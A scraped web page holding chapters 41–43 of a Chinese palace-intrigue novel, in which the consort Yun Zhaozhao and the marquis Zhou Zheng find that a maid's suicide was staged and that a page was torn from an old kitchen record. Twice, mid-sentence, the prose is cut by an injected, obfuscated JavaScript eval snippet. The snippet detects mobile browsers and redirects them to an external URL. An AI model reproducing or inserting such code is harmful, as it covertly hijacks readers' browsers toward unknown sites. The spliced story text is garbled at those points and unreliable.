“我就说吧,侯爷正是血气方刚的年纪,身边怎么可能连个女人都没有,唯一的可能就是他好男风。” “这小哥这么俊,唇红齿白,细皮嫩肉的,说不定是哪个楼里的小倌儿,被侯爷收了偷偷养在锦衣卫里……” “啊哈,这就是什么金金金屋美人吗?” “是金屋藏娇!你个呆子……” 几人凑在一起,边说边笑得猥琐。 而昭阳殿后殿的小院中,周徵解了燕二与其同僚的穴位,叉手立在一侧等二人转醒,脸色已黑得不能再黑。 41. 霞绯 流霜昨夜睡得很不踏实,窗外总是有窸窸窣窣的声响,亦或是男人说话的声音。 她知道那是守夜的禁军偶尔在小声交谈着,但毕竟这是宫里女眷所住的内宫,这样被人看守着,还是一群男人,总让她心里不太舒服,一夜梦魇。 就这样迷迷糊糊地熬了一夜,等她从噩梦中惊醒时,已经过了卯时了。 她一向是这个时辰起床,至正殿的寝宫中为云昭昭添换熏香,沏好泡茶的热水,再剪一些院中开得正好的时令花木插在殿内的花瓶中。 然而,当流霜像往常一样走到正殿的寝宫时,却发现殿内的黄花梨百宝嵌龙凤榻上,根本就不见云昭昭的身影,而她昨夜就寝时所穿的那件白色洒金薄纱睡裙,正胡乱地被扔在床边。 流霜吓得心里咯噔一下,脑子飞速地旋转着。 关于小姐昨天半夜究竟去了哪里,她想到了无数种可能。 当然,看着空空如也的床铺和被脱下的睡裙,流霜觉得最有可能得还是宫里进了什么歹人。毕竟小姐艳冠群芳,这昭阳殿外如今被一群男人看守着,说不定就色胆包天的采花大盗,劫走了小姐。 想到此事事关小姐的名誉与清白,流霜深知不能让更多的人知晓,因此也不敢自作主张。 可如今昭阳殿内,逐月去世了,汀雪被锦衣卫带走至今下落不明,这殿内说话能有些分量的,只有她自己了。 天色渐渐敞亮起来,外面负责晨起洒扫的小宫女小太监们已陆陆续续地起来了,再过一会儿,等宫人们都醒了,小姐失踪的事怕是瞒不住了。 就在流霜六神无主的时候,只听殿门吱呀一声响,她回头一看,是云昭昭一脸疲惫,风尘仆仆地回来了。 流霜刚才悬着的心稍稍放下,可待她仔细一瞧时,却又吓得不清。 因为云昭昭身上竟然穿着一身锦衣卫的戎装,不同于普通的粗布麻衣,她身上这件深蓝色制服的袖口处勾着银边的云龙饕餮纹,一看便是有些品级的,不知道是从何处弄到的。 流霜:“小姐,你昨晚到底去了何处?今早见你不在榻上,衣服也扔在地上,可吓死我了!” 云昭昭没有回答,只是急匆匆地问道:“我从家里带进宫的那一小罐羊脂玉容膏在哪?” “羊脂玉容膏,是郭院判他老人家特制的?小姐你要找那个做什么?” “我送人,你待会儿去给我找找。”云昭昭一边简短地回答,一边解开制服的束腰,脱下外套,顺手喝了一大口桌上的冷茶。 流霜上前替她脱掉厚重的制服,狐疑道:“小姐你这幅打扮,该不会趁夜出宫了吧?” “我昨晚去了趟诏狱,见到了我娘。”云昭昭轻松地答道。 “诏狱?”流霜一听这名字,吓得系错了一根带子,“你一个人,你是怎么进去的?”她说完又反应过来自己关注的点不太对,便又补了一句:“夫人她,她还好吗?” 见她如此难以置信,云昭昭嘿嘿一笑,说道:“当然不可能是我自己一个人进去的,我一个人,连这昭阳殿的门都出不去。我娘她目前暂时安全,你待会儿差个伶俐点儿的太监,去我爹上朝的路上给他递给口信儿,省得他担心。至于其他的,你就别再问了。” 流霜见她对其他事情闭口不谈,便只能按捺下心中的好奇,伺候她简单地梳洗更衣,然后从书柜旁的一个小抽屉内,翻出了一个精致的羊脂玉镂空山水小罐。 递给云昭昭的时候,流霜还有些舍不得,“就是这个,可只剩这一罐了,只有郭院判才知道这药膏的方子和做法。” “给我罢。”云昭昭倒是一点都不可惜,接过后拿起一旁的衣服就立马朝着逐月的院子方向去了。 流霜极少见她这样,便也放下手中的茶壶,狐疑地紧跟在她的身后。 · 云昭昭一进后院就见到周徵正劈头盖脸地训斥着自己的两名属下。 “哼,一个是堂堂北镇抚司的镇抚,一个是众卫所里身手数一数二的千户,就被人这样狼狈地扒光了衣服在后宫躺了一整夜,传出去,锦衣卫的名头还要不要了?” “阿阿阿阿阿嚏!”燕二面对训斥,很不合时宜地打了个喷嚏。昨夜他只剩单衣在地上躺尸了一晚,今早被周徵弄醒时,头昏沉沉的,面对周徵的训斥,也是左耳朵进,右耳朵出。 “侯爷,这也不能怪我俩啊。”燕二有些不服气道,“昨晚那人轻功好生了得,属下们还未反应过来,就被点了穴位。” “你还好意思说!”周徵骂道,“平时让你们练武一个个唧唧歪歪的,一有功夫就聚在一起喝酒,这不是活该被人牵着鼻子走吗!” 燕二委屈地小声嘟囔着:“这习武也要看天资啊,您当谁都跟您一样……” 周徵狠狠地剜了他一眼,“特别是你!燕二,今日若不是我半夜去了诏狱……估计就要上演我大周朝开国以来诏狱首次被人劫狱的好事了!” “啊,什么……劫狱?”燕二闻言,下意识地看了一下自己身上,除了制服被人脱掉了以外,连他腰间挂着的象征身份的锦衣卫腰牌也不翼而飞。这下,他才知道麻烦大了,一瞬间从之前的嬉皮笑脸,变得面如死灰。 云昭昭见状,只能端着换下的那套锦衣卫制服,上面放着燕二和另外那名千户的腰牌走了过去。 “这个,还给你们,不过只有这一套了。”她尴尬极了。 “这……这个……”燕二见到她拿着衣服还回来,一下子结巴了。他身边的同僚也僵在原地,一时不知该接还是不接,只好小心翼翼地瞄向周徵。 周徵敛了怒意,正色道:“这套衣服,贵妃就自己留下罢,烧了便是。” 说完他又没好气地对燕二俩人呵斥道:“你们二人,还愣着干什么,还不赶紧拿了腰牌。” 俩人见状,赶紧战战兢兢地取了自己的腰牌,然后又看着周徵。 周徵心里一阵烦躁,索性骂道:“看着我做什么,还不自己滚回去领罚!在我回去前,先倒立!” 听到倒立二字,燕二和那名千户倒吸了一口凉气,却也只能穿着单衣灰溜溜地从后殿出去了。 看着他俩被周徵吓得半死的样子,云昭昭忍不住轻笑出了声。 周徵狐疑地看向她,云昭昭捂着嘴道:“好歹也是个英俊郎君,干嘛非要把自己搞得跟个活阎王似的,不仅其他人怕你,连你这些下属,见了你也跟耗子见了猫似的,何必呢?” 周徵面色一阵青一阵白的,从未有女子用这等口气对他说话,虽然听着有些轻浮,但字字句句似乎又暗含着关心。 他格外不习惯,便板着脸,正色道:“是他们有错在先,还请贵妃慎言。” 这人真真是一板一眼的,云昭昭心想,但还是笑着答应道:“好。” 如此便再也没人说话,云昭昭不主动开口,周徵又更是不会多说一句话的性子,两相无言下,气氛居然变得有些诡异又凝重。 朝阳渐渐从云缝中探出了脑袋,如同彩绸般的霞光布满了天际,泛着粼粼的淡粉色柔光,铺设在屋顶的琉璃瓦上、桂枝凝结的朝露上,以及面前站着的人儿的眼眸中。 云昭昭与周徵各自局促地站在那里,几乎是同一时间开口,想要破除这份沉默的尴尬。 “你……” 二人又默契地立即闭了嘴。 云昭昭干笑两声,连忙客气道:“你,你先说。” 周徵神色微漾,象征性地清了清嗓子,道:“那个……之前永麟殿的事,是我唐突了。” 云昭昭没想到他竟是要说这个,当时她还有些后怕,但在心里骂骂出出气过后就将其抛在了脑后,难道这件事一直到现在还被他放在心上吗? 见他如此郑重其事地道歉,她忍着想笑的冲动,问道:“哦,那侯爷是因为深夜擅床后妃寝宫而觉得唐突,还是因为当时死死咬定我是冒牌货而觉得唐突呢?” 周徵皱了皱眉,道:“都有。”说完他想了想,又补充解释道:“因为之前听说你大病一场后性情大变,又有人从中混淆,便有些格外在意……不过如今看来,倒是我多虑了。” “我当时就说了嘛,我爹要去寻个这样的替身,那岂不是要找翻天了?”云昭昭答道,见他对前面半句话闭口不谈,突然玩心大起,揶揄道,“那侯爷大半夜地闯入永麟殿,又该怎么解释呢?” 她笑得狡黠,丝毫不掩饰内心的想法,凤眼微微眯起,像是一只调皮的小狐狸一样,明明生着坏心,却又让人生不出讨厌之意。 还从未有人拿这样的态度对待他,周徵喉咙干涩,有些恼怒地反问道,“既如此,贵妃大半夜的跟人闯入诏狱,是否也应该给我一个解释呢?” “你!”云昭昭没想到他会提这一茬,只能自认理亏,心下劝自己不能跟他一般见识,但还是不服气地瞪了他一眼。 周徵嘴角不易察觉地动了下,如同池水上被风轻轻揉皱的褶子,很快又恢复了平时的冷淡。他客气地抱拳道:“天已经亮了,臣既已将贵妃娘娘平安送回朝阳殿,那便该告辞了。” 说着他便转身要离开。 “等一下。”云昭昭想起重要的事,忙不迭地叫住他,提着裙子一路小跑到他的身边,从怀中摸出那个精致的白玉小罐,递至他面前。 “……这是?” “这是非常难得的羊脂玉容膏。”云昭昭一边解释,一边将盖子打开,一阵软绵绵、甜腻腻的香味瞬间飘了出来。周徵闻着这味道,不由眉头一紧。 云昭昭道:“此药早晚两次,涂在你额头的伤口上,是止血淡化疤痕的,效果极好。这是郭院判之前在江湖行医多年所获的秘方,里面的药据说极为珍惜难寻,整个云府至今也只得了这一罐。” 说着她也没有多想,只是出于好心,挖了一点出来,踮起脚尖,想要涂抹在他的伤口上。 “你干什么?!”周徵被她的动作惊得身体一震,连忙后退了好几步。 云昭昭这下才发现自己的失礼。 她方才盯着他看时,注意到他额头的伤口,她是真心惋惜这么标志英俊的一张脸,将来要是因为这伤口留下的疤而毁了,那得多可惜啊,就像是原本莹润无瑕的白壁上被摔出了触目惊心的裂痕似的,她神不知鬼不觉地便想要为他涂药了。 虽说她来自现代,没有古人在男女一事上那么忌讳,但一想到如今她的身份是赵昶的贵妃,而周徵是他的臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108317|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,也觉得自己方才那动作有些不妥。 她紧张地将那只停在半空的手收回,像个做错了事的孩子一般背在了身后。 周徵郑重其事地说:“娘娘,此物应是女子用的,臣身为男子,留些疤痕倒也算不得什么,请收回吧,若无事,臣便告辞了。” “诶,等等!”云昭昭叫住他,将羊脂玉容膏强行塞进他手中,故意打趣道,“侯爷为了自己心爱的女子连陛下与太后的赐婚都当面回绝了,如今这张脸要是毁了,还怎么去追心上人呐!” “我没……”周徵本想说自己没有,但想想若是传出去,免不得惹赵昶不快,便只好接下,小心翼翼地揣进怀里。 再一抬眼,他瞧见她红扑扑的脸蛋,像极了天边粉色云霞里最温柔最娇艳的那一抹,只觉得喉咙有些干咳,心里没来由地一阵燥热,眼睛也不知道该放在何处,想往别处看去,却又总是忍不住注意到眼前的丽色。 就在这时,他的目光突然停在了云昭昭的发间。 乌亮如云的发髻间,简单地点缀着一对金嵌珍珠宝石圆花,斜斜地插着那支太后赠送的玫瑰金簪。 他的目光徘徊在那只簪子上。 “怎么了?”云昭昭察觉到他异样的目光,问道。 “此物贵妃是从何处得来?”周徵问。 云昭昭没想到他竟会关注这根簪子的来历,答道:“这是我入宫第二天去谒见太后时,她老人家赏给我的,好像……说是她的一位朋友送她的。” 她说着将其从头上取了下来,拿在手上把玩,想到之前她不识货当掉的那支,便十分可惜。 “哎,我之前也有一支,跟这支是一对,还不是因为那天晚上撞见了你,害我入了宫,不然那一支早就被我赎回来了。”云昭昭忍不住抱怨道。如今她一直未得到出宫的机会,这么久了,也不知道那簪子有没有别人看中了买走。 周徵问:“那你手上那支,又是从何处得来的?” 云昭昭哪里会知道,毕竟那是原身的东西,只能假装糊涂地摇摇头说:“忘了,可能是谁送的吧。你问这个做什么?” “没什么。” 云昭昭对他这么关心这根簪子心中存疑,但也没再问下去。因为她此时还有更重要的事,之所以赶着将这珍贵的羊脂玉容膏送给周徵,除了想让他答应帮自己一同调查真相外,她还对逐月的死有些挂怀。 她看着那扇被锦衣卫贴上了封条的门,说道:“侯爷既然收了我这药膏,可否让我进去看看逐月的房间。” 她见周徵的目光中带着探究之色,又笑了笑,声音虚弱地解释道:“逐月好歹与我主仆一场,她虽为人不怎么样,还犯了事,但对我也算是尽心尽力,她若留下了什么东西,我也好替她收着。” 她一提,周徵又想起了下午时对汀雪的审讯。他盯着那扇黑色的木门,良久,终于点了点头。 “好。” 他亲手撕掉了前一天燕二按他的吩咐贴上去的封条,又撬开那生锈的铜锁,一把推开木门。 一股潮湿陈旧的气息扑面而来,逐月栓绳自尽的那根房梁下,还放着她曾经踩过的椅子。 但斯人已逝,只有桌上那些她拼尽一生的善良与尊严换来的金镯子、金链子还有金簪子,在昏暗的室内依旧熠熠生辉。 云昭昭环视了一眼屋内的摆设,因为之前锦衣卫赶到的及时,所以逐月这屋子明显还保留着她生前的原样,没被动过,也没被偷过。她小心地关上了门准备开始搜查。 · 昭阳殿后殿的小径上,流霜忐忑地离开了逐月住处所在的小院。 她的心情极其复杂。 因为好奇,她刚才一路跟在云昭昭身后,想看看她究竟要将这来之不易的羊脂玉容膏送给何人,却没想到等在那里的,竟然是武安侯! 而且,当她看见云昭昭将昨夜穿的那身锦衣卫制服还给他时,更是惊得下巴都快要掉了。 她想不明白昨日守在逐月房外的那两名锦衣卫为何只只身着单衣,但她可以确定的是: 明显昨晚小姐的彻夜未归与武安侯有关,而且,小姐能离开昭阳殿,亲自前往诏狱,一定也是有武安侯从中安排。 但小姐与武安侯,不是一向针锋相对,话不投机吗?什么时候关系这么要好的? 流霜听不清他们的对话,只能一面想一面躲在门口悄悄地观察着,直到她见到周徵喝退了两名下属,然后在只剩他们两人的时候,云昭昭想要为他涂抹药膏,脸上甚至绯红一片,还摘下了头上的发簪…… 这般娇俏的小女儿情态,让她完全不敢相信自己的眼睛! 小姐,不是一向痴心于陛下吗?怎么这么快就变心了,难道因为武安侯是陛下的亲信,接近武安侯也是讨好陛下的一环? 然而下一秒,云昭昭就与周徵一同进了逐月的房间,还关上了房门。 流霜这才意识到事情的严重性。 虽然武安侯如今尚未娶亲,身边也从未听说有什么女人,比后宫三千、雨露均沾的陛下看着靠谱多了,但小姐已是贵妃,是陛下的女人,而侯爷又是陛下身边的亲信,若是两人的事被别人知道了,可怎么办啊! 42. 缺页 逐月的房间内,由于锦衣卫的及时赶到,一切的陈设还保留着她生前的原样,似乎没有被动过。床铺上,折叠整齐的被褥上摊着一件换下来的夹袄,桌上的胭脂盒半开着,一把断了几根齿的旧檀木梳孤零零地斜倚在一旁,仿佛她的主人只是暂时地离开了,很快就会回来将它们收捡归位。 只有窗边的一只半尺高的小青花瓷瓶里,插着几枝干枯的桂花,枯黄黯淡的花瓣落在窗台上,与大颗的灰尘混为一体,潮湿陈旧的气息中混合着一股若有若无的香气,像是在无声地控诉着这间屋子几日来空无一人的孤独。 逐月的尸体显然是被锦衣卫收殓了,她在生命最后一刻踩踏过的那张椅子上已积了一层薄薄的灰尘,除了仍旧歪七竖八地斜在地上外,早已看不出她当时挣扎过的痕迹。 云昭昭站在逐月栓绳自尽的那根房梁正下方,说不是一种什么心情。 斯人已逝,哪怕曾经在宫女里耀武扬威过,得罪过再多的人,掀起过再大的风浪,也很快在这宫里日复一日如潮水般的八卦与故事中,被渐渐抛却到了脑后。 只有桌上那些她拼尽一生的善良与尊严换来的金镯子、金簪子以及珍珠项链,在昏暗的室内依旧熠熠生辉。 云昭昭怔怔地看着这一切,心里有片刻的茫然与空旷,正巧这时,周徵冷不丁地开口道:“你……似乎有些伤感?” 他的语气里带着一种惊诧,仿佛这是多么稀奇的事一样。 “怎么,我就不能伤感?在侯爷眼里我就是这么十恶不赦的恶人?”云昭昭看了他一眼,自嘲道。 “也不是……”周徵有些尴尬道,“至少……你不像是会为她这样的人伤心的人……” 是啊,在原书中,原身云贵妃养尊处优惯了,是绝不会为一个下人伤心的,哪怕是从小陪着她、伺候她的流霜和汀雪也是一样。 但她不一样,她不是原身,不是什么云家千金,更不是什么云贵妃,她只是她,云昭昭。 她想了想,苦笑着开口道:“逐月算不上什么忠心的人,在宫里口碑也不好,来昭阳殿也是为了实现自己的野心,但她却是我从小到大唯一一个……不对,是除了我爹娘外唯一一个真心为我谋划打算的人……而且,我能理解她。” “……”周徵皱了下眉头,没有回答。 云昭昭倒是无所谓他说不说话,反正她现在只想找个人说说话,周徵对她而言与一个可以对着倾诉的木头人没有什么区别。 “她在这里没什么人可以依靠,没什么人可以相信,只能靠自己并相信自己,她太要强了,逼着自己必须往上走,凡事都不肯低头……所以,其实我很难相信这样一个人,竟会这么简单地就自杀了,而且在她自杀前,我还准备赶她走……” 说到最后,她咬了咬嘴唇,声音带了一丝的哽咽与自责。 周徵似乎没料到她会这样,他有些不知所措,只能将心里的真实想法和盘托出:“有人……也跟我说了她是自杀,但我不这么认为,所以……才跟着进来看看。” “不是自杀?”云昭昭蓦地抬头看向他,“可我、我当时怕她在宴会上生事,一直有让流霜与玉绯轮流守着这屋子,你的下属进来时,她不是已经……怎么会?” “直觉。”周徵道,他想到了汀雪对他交代的内容,“我总觉得,事情不会这么简单。” 说着他下意识地抬起头,盯着头顶那根有些老旧的木梁,只见差不多正上方的位置,被绳索类似的物件,勒出了一条不算浅的沟壑,均匀地向下凹陷着,显然之前逐月就是吊在的这里。 周徵眉头锁着,异常严肃地审视着那道痕迹,过了良久,他又看向地下倒塌的木椅,突然皱了皱眉头。 “怎么了?你可是发现了什么?”云昭昭捕捉到了他神色的变化。 “你可曾还记得,她生前有没有什么表现得不同寻常的地方?”周徵突然道。 “不同寻常的地方……” 云昭昭想了想,逐月生前除了向自己表示决心外就是求自己不要赶她走…… 突然,她想起了她们最后交谈的内容。 “对了,手帕!”她眼睛一亮。 “手帕?” “对,就是你捡到的那张手帕!”云昭昭的目光随即又黯淡下去,心里充满了苦涩的意味,“那张蓝雪花的手帕,我本来以为是汀雪的,因为她的手帕图案也是蓝紫色的,结果,汀雪却告诉我她的是紫藤花的,而逐月的手帕才是蓝雪花的……但,我那天因为生气提到这件事的时候,逐月却矢口否认她推了人……” 周徵若有所思道:“你是说,是汀雪告诉你那张手帕是逐月的?” “是,是她。”说道这儿,云昭昭突然想起了汀雪,连忙问,“对了,汀雪那丫头呢,你们锦衣卫将她带走了,你们该不会把她怎么样了吧?!” “她……”周徵迟疑了一会儿,觉得于情于理还是暂时不要将汀雪的事告诉她为好,便敷衍道,“没怎么样,她现在还在宫正司里。” 云昭昭道:“汀雪她年纪虽小,但心思比一般人都要细腻许多,她那天宴会上离开倒真不一定是去如厕,若是她真的与纯容华的死有关,哎,我、我也不知道怎么办……” 她神情不似作伪,但周徵不得不思虑汀雪与眼前的女子一起联合起来,上演这一出周瑜打黄盖的好戏的可能。 他该问的心中已有了数,便岔开话题道:“时间不多了,待会儿有人来了就不好了,你进来要找什么,赶紧找吧。”说着他掀开了逐月的床铺,仔仔细细地摸索起来。 “你这是做什么?”云昭昭看他像是在寻某样东西,“你刚才问我逐月生前有何异常,可是发现了什么?” 周徵闻言,抬起头来,严肃道:“她应该不是自杀的。” “怎么会?”云昭昭抬头看着房梁上的那道沟壑。 正好这时周徵解释道:“就是那道痕迹,出卖了这个伪造的现场。正常人上吊自尽时,被绳子勒着头部缺血和窒息的过程会持续一段时间,在此过程中,人并不会立即失望,即使踢了椅子,本能的求生意识也会使她身体左右挣扎晃动,可你看,那根木梁上的痕迹是否太过于规则了?” 云昭昭有些惊讶地张着嘴道:“那个……就像是吊着一般的重物一样。” “若我猜的没错,她应是被人打晕了或是在已死亡的状态下吊上去的。”周徵说,“待我回去,会再找几名有经验的仵作重新验尸,或许能找到些不一样的线索。” 说罢他翻完逐月的床铺,又走至旁边的衣柜前,“找吧。” 云昭昭则站在窗边的小桌前,这是逐月梳妆的地方,除了妆奁外,桌子旁边还摞着两只木质的匣子。 逐月的妆奁内的十几只金银首饰皆用蜡擦得闪闪发亮,看得出她生前十分爱惜。只是这些首饰的数量,也就跟流霜汀雪的差不了多少。逐月入宫多年,颇有些资历,人又伶俐精明,入得了主子的眼,按理说平时的打赏和油水都不会少才对,也不知为何显得这样“寒碜”。 周徵搜完了逐月的衣柜,也没找到什么要紧的。 像逐月这样的一宫主位身边的女官,宫里主子们进出的各种场合、大大小小的宴会都会有她的身影,平常的衣裳应该也不少,可她的衣柜里,除了贴身的亵衣外,正式的衣服只有少得可怜的四套常服,两套冬衣,一条正式场合的礼服,一件薄一些的披风与一件不知是什么动物的毛缝制的大髦。 云昭昭一时无言,原本想说的话到了口边,又像是含了个桃核一般硬生生地梗了回去。原来她入宫以来的这些时日,逐月已经快将自己所有的衣服,轮了个遍了。 周徵见一无所获,原本舒展的眉眼又重新凝重了起来。逐月的屋子不算大,也没多少东西,如今除了云昭昭这边的两只木匣子,就只剩杂物堆了。 “万一凶手只是想要她的命呢?”云昭昭说。 “不可能。”周徵斩钉截铁道,他抬头看见云昭昭不解的表情,又补了一句,“直觉。”之后便蹲在了墙角堆放的杂物面前,也不嫌脏,直接便埋头上手。 他没说的是,他这种胸有成竹,敢于铁口直断的“直觉”到底从何而来。 毕竟像汀雪这样冷静缜密,对过往杀人经过毫无避讳的人,凭他的直觉,是绝不会轻易将一个明明是“她杀”的人错说成是自杀的,唯二的两种可能,除了造成逐月死亡的另有其人——这显然不太可能,剩下的,就只有为了隐藏某种不想让别人知道的线索了。 云昭昭见周徵不再理会自己,只好百无聊赖地打开了剩下的两个木匣子,匣子都挺陈旧的,上面雕刻的花鸟瑞兽都起了毛边,打开便有一股樟脑的味道,呛得她连打了两个喷嚏。 其中一个匣子里无非是些女子用的口脂,腻子,螺子黛,香囊等小物件,没什么特别的。 而另一个木匣,云昭昭一打开,首先映入眼帘的便是一叠银票似的纸张,整整齐齐地码着。她摊开一看,上面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108318|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字样她再熟悉不过了,这不就是京城当铺里最常见的那种当票吗? 她一张一张地翻看着,被当掉的有绿松石攒珠的金簪,有东珠的耳环,有白玉的镯子……甚至还有几匹蜀绣的绸缎,这些一看便是逐月在主子们那里受到的赏赐。她略略数了数,竟有四十五张之多。 再往下,是一个牛皮外封锁线的小本,翻开后,上面记录着这些当掉赏赐后换来的银子的用途。 只见逐月一笔一划,整整齐齐地记录着: “辛未年腊月十四,宋昭媛赏点翠金簪,当纹银一百二十两,宫里没太多需要钱的地方,故仅自留五两作日常周转,其余三十两寄母亲作一年采买,七十两替兄长还债(喝酒赌博误事,需再三叮嘱阿钰不得学之),一十五两让阿钰带给书院先生补上年学费。” “壬申年正月十五,上元节可出宫半日,太后赏各宫女官丝绸一匹,金珠子十枚,换得纹银七十两,本想拿一半给阿钰做几套冬衣,但最后全被兄长要去补之前的赌债亏空和赊下的酒菜钱,下次需得寻他不在家时再回。” …… 云昭昭从字里行间的叙述中渐渐拼凑出了逐月的家庭与生平:父亲服兵役不知下落,母亲拖着病体拉扯三个孩子,大哥吃喝嫖赌,不成气候,十四岁上便要将她卖往青楼还钱还债,她只好主动报名作为备选宫女入宫。而剩下的那个阿钰,便是她的小弟,也是她此生唯一的希望和寄托。 翻到最后,云昭昭捻着纸页的手都在微微地发抖,她仿佛透过这些近乎笨拙的字迹看见那个一向最精明、最能算计的女子,将自己心里最真的感情和最深的期望,揉碎了再小心地封藏在这字里行间。 随即,一滴眼泪落在泛黄的粗糙纸面上,打湿了底下的墨迹,渐渐晕染出斑驳的一团。 周徵在角落里的杂物堆中一无所获,索性过来,正好便看到了这一幕。 “怎么了?”他的声音似乎不像平时那般冷硬,仿佛透着朝阳般的温度,“看到了什么?” “没什么。” 云昭昭咬着唇,下意识地吸了吸鼻子,像被抓包的贼一般放下那小本。周徵立马拿了起来,狐疑地翻开。趁着他翻书的功夫,云昭昭飞快地抹了一把眼角蓄着的泪,接着若无其事地拿起最后那本有些陈旧的册子。 然而,当她看见里面的内容后,一下子叫了出来。 “这是什么!” 只见这本册子的扉页上用最符合宫中规制的端正隶书写着:圣鸾宫膳事档案 周徵闻声看向这里,看起来也极为惊讶,“圣鸾宫?她怎么会有这个?” 云昭昭:“没听说过,宫里有这个地方?” “这是先帝昭文皇后的宫殿,她本人仙逝后,葬于西郊云台寺后山,圣鸾宫便空了出来,听说后来先帝每每路过此地便会思及旧人,肝肠寸断,为了不让自己过于睹物伤情,便命人拆了圣鸾宫,重新规划水路,在此基础上修建了御花园,只留下了圣鸾宫内的一汪泉眼作为纪念,旁边还有先帝亲笔题写的悼亡诗句。” “是照影池吗?”云昭昭一下子便想起了这个地方。 周徵:“正是。” 云昭昭点了点头,她之前在御花园里便注意到了这个如一颗澄澈翡翠般的小池塘,还惊讶于这么小的一处地儿,还专门起了名字。池边甚至立了块石碑,上面题着陆游《沈园二首》中的一句:“伤心桥下春波绿,曾是惊鸿照影来。” 如此想来,春波河、照影池,其名皆是含了先帝对昭文皇后的思念,说不定,翠微宫外那处长长的廊桥,就有另外的名字,伤心桥了。 她这么想着,又翻开这册膳事档案,只见里面分条列项地记着圣鸾宫内小厨房里每日供应的膳食、瓜果与糕点情况,这档案各主要宫殿的小厨房里都有,她的昭阳殿里自然也有,不足为奇。 只是这膳事记录里,所记录的对象除了先帝、昭文皇后、各宫娘娘外,还有一个她有些陌生的名字——林月熙。 “这是谁?”她有些好奇道。 过了良久,她听到了周徵有些沙哑的声音:“这是……我娘,不,老武安侯夫人的名字。” 云昭昭闻言向他看去,只见他眼眶微红,墨色的眼眸中似有光亮闪动。 下一秒,当她翻开记有林月熙名字的下一页,却见后面的一页纸不知被什么人沿着书脊处整整齐齐地撕走了。 周徵也立刻注意到了这个细节,眼睛眯了眯,道:“找到了!” 43. 隐忧 云昭昭兀地一惊,“找到什么了?” 周徵没有丝毫不耐烦,他一边低着头用指腹轻轻摩挲过那被撕掉的纸页边缘,一边向云昭昭解释道:“线索。这一页若是缺失已久,这边缘会渐渐发黄变脆。所以你看,这痕迹尚新,可以肯定,一定是最近才被人撕了去的。” “你是说,这页膳事记录应是那害死逐月之人撕走的?”云昭昭喃喃道,“这么说,此人害死她后伪造出这等自尽的现场,为的其实是掩盖自己的真实目的,他就是为这页膳事记录而来的?” 周徵点了点头,合上书页,不得不重新审视起眼前的这名女子来。 世人都说当今首辅云琛之女骄奢蛮横,任性胡为,之前在一场宫宴上一言不合就予当时还是嫔位的纯嫔难堪,外人将她形容得虽有倾城之色,但却头脑简单,冲动易怒,可现在他面前的这名女子,之前虽然性子泼辣了些,但却十分懂得自护,如今又仅凭着三言两语便能想清楚其中的关键,绝不是没有头脑之徒。 虽然仍觉得她有故意作戏的可能,但他还是问道:“听说贵妃这几日里一直让人守着这屋子,那有机会进这屋子里来的,都有何人?” 云昭昭想了想道:“也就玉绯与流霜两人了,但玉绯平时行事大大咧咧的,经常丢三落四,倒不像有心害人的,而流霜……若是我身边之人全都背弃了我,流霜也不可能弃我而去,她与我情同姐妹,而且这丫头虽只是个女子,身上却有些侠气在的……” 云昭昭说完抬头注意到周徵狐疑的神色,连忙又补充道:“还有,还有汀雪?” “汀雪?”周徵一听这个名字,不得不打起了十二分的精神。 “嗯,汀雪虽不用守着,但每日我都有让她来给逐月和玉绯她们送饭。”云昭昭说道这里,见周徵神情甚是严肃,忙问道,“怎么了?” 周徵心想不管是为了什么,都不要让云昭昭知道汀雪的身份为好,隧敛了神色,淡淡道:“没什么。” “我不信。”云昭昭道,“方才我提到汀雪,你的神色便有异,现在又是这样。你有话直说,汀雪几日未归,恐怕不止是询问她当日宴会上去了哪里这么简单吧,她到底是出什么事了?” 周徵见完全瞒不过她,又见她面上神色像是真的毫不知情,不似与汀雪沆瀣一气联合作伪,心里已有了些许松动。 他斟酌了一下用词,解释道:“她有可能涉及宫里另一桩更复杂的案子,现在在宫正司里,被专人看管着……她,她还活着,我并未对她用刑,你不用过于担心。” 他这番话既是安慰,也是试探,没想到云昭昭立马就道:“之前秋儿是她推下河的吧?” 周徵见状也不好说谎,只好承认道:“不错。” 云昭昭闻言,便自言自语似地说:“我就知道,你那次在太后的赏菊宴上那么说我就开始起疑心了……这丫头在云府的时候就有些古怪,说不定我之前落水高烧,就是她推我下去的……” 周徵:“……” 云昭昭突然抬头冲着他笑了一下,道:“不瞒你说,武安侯,之前我想到这种可能的时候,甚至还怀疑过她是你和陛下派来的……毕竟‘我’若死了,我爹无论是瞒着陛下女儿的死讯,还是执意要将弥留之际的女儿送入宫中,都是该砍头的大罪!” 她的笑意很深,眼神却格外澄澈坦荡,好似说的不是自己的生死,而是其他的事情。 周徵只好说:“贵妃慎言……” 云昭昭却摇摇头道:“周徵,我之所以会跟你说这些,也只是想与你坦诚相见。既然汀雪之前与你们无关,方才谈及她你又遮遮掩掩,我斗胆猜测一下,汀雪既不是你们的人,也不忠于云府,或许她听命之人另有其人吧?” 听她这么说,周徵忽然觉得他和赵昶之前真是太小瞧她了。为了防止她继续猜下去,他连忙转身道:“天光已亮,不早了,臣还有事,先回了。” 